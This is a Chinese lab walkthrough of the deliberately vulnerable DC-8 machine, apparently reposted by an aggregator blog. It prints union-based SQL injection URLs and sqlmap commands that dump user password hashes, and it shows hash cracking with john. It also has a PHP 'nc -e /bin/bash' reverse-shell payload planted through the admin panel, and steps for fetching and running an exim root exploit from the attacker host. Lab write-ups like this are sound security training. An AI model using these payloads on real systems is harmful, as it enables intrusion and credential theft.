DC-8靶机
Posted bingtang123
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DC-8靶机相关的知识,希望对你有一定的参考价值。
仅供个人娱乐
靶机信息
下载地址:http://www.five86.com/downloads/DC-8.zip
一、主机扫描
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-47ece057cfa761c9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
二、信息收集
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-4886d14928ee3f30.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
http://192.168.17.135/robots.txt
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-99e2cb515da34a09.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-69653ffa1c9e6a4a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
三、漏洞的查找和利用
在前面点击Details的几个链接,然后发现url里有个nid参数,尝试检测注入
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-6bb9961c1a922a20.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-d5a5ee5fcb474568.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-9a95d6165d663340.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
数值型
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-4ef0fc1a195f68b8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-e368bcbc2aa1237f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
数据库
http://192.168.17.135/?nid=-1%20union%20select%20database()--+
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-95eca9549d77e749.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
爆破表
http://192.168.17.135/?nid=-1%20union%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27d7db%27--+
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-9bbd5e9992ed95e6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
字段
http://192.168.17.135/?nid=-1%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27d7db%27%20and%20table_name=%27users%27--+
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-bd27d44b7b8d4b2e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
爆破内容
http://192.168.17.135/?nid=-1 union select group_concat(name) from users--+
http://192.168.17.135/?nid=-1 union select group_concat(pass) from users--+
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-03fb9bab9363c9ef.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-96f2015f03fa4420.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
两个hash,md5无法解密
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-9e738e6621a1937a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
或者sqlmap
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-60797d2c15bb451d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
sqlmap --url http://192.168.17.135/?nid=1 --dbs
sqlmap --url http://192.168.17.135/?nid=1 -D d7db --tables
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-22ff03bccb7ccc8a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
sqlmap --url "http://192.168.17.135/?nid=1" -D d7db -T users --columns
sqlmap --url "http://192.168.17.135/?nid=1" -D d7db -T users -C name,pass --dump
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-32516b7ff88cb3c6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
复制1.txt 用john破解
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-9504422529ab3c9d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
破解出了john的密码,密码为turtle
登录后台信息收集
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-1865fd60cc0aa56d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
没有路径 直接反弹
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-9533b6e2c1fce781.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-51d83d19c0b02930.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
再次反弹
<p>1313</p>
<?php system("nc -e /bin/bash 192.168.17.129 4444"); echo "hello word"?>
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-6a6c84b7ba34684e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-d0d9cdb0c71718ee.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
python -c ‘import pty;pty.spawn("/bin/bash")‘
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-52e207fc7d9c6f74.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
信息收集
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-a63129fdd9b953a6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
find / -perm -u=s -type f2>/dev/null
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-0ba4daea40830e75.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
都拿去百度了,发现exim命令在使用时具有root权限,并且还看到一些有关于他的提权漏洞,那么在kali里面直接使用它对应版本的exp提权。
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-d4d6ea923d94bd55.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
1.apache 上传
/etc/init.d/apache2 start
wget http://192.168.17.129:8080/2.sh 失败了没搞定
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-9d18a6d9b4a9efb1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
2.ssh 上传
修改ssh文件
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-7bcbd781299a4d0a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-7da683230eea819e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
ssh启动
开启:/etc/init.d/ssh start
重启:/etc/init.d/ssh restart
关闭:/etc/init.d/ssh stop
状态:/etc/init.d/ssh status
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-d5d01ab1352683db.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
scp root@192.168.17.129:/usr/share/exploitdb/exploits/linux/local/46996.sh /tmp/
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-0699c7b6fd2826ea.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
3.简易http
python -m SimpleHTTPServer
wget http://192.168.17.129:8000/getShell.sh
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-8c07ca90062e6a6d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
文件移动到tmp
chmod 777 getShell.sh
根据脚本提示,执行脚本文件并添加命令参数,执行后获取到root权限,并找到flag.txt文件
./getShell.sh -m netcat
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-7a9f451c4093a38d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
解决方法
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-56cea92da590039b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
sed -i "s/ //" getShell.sh
./getShell.sh -m netcat
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-28f525da74447962.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-a5edfa808b5a7052.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
以上是关于DC-8靶机的主要内容,如果未能解决你的问题,请参考以下文章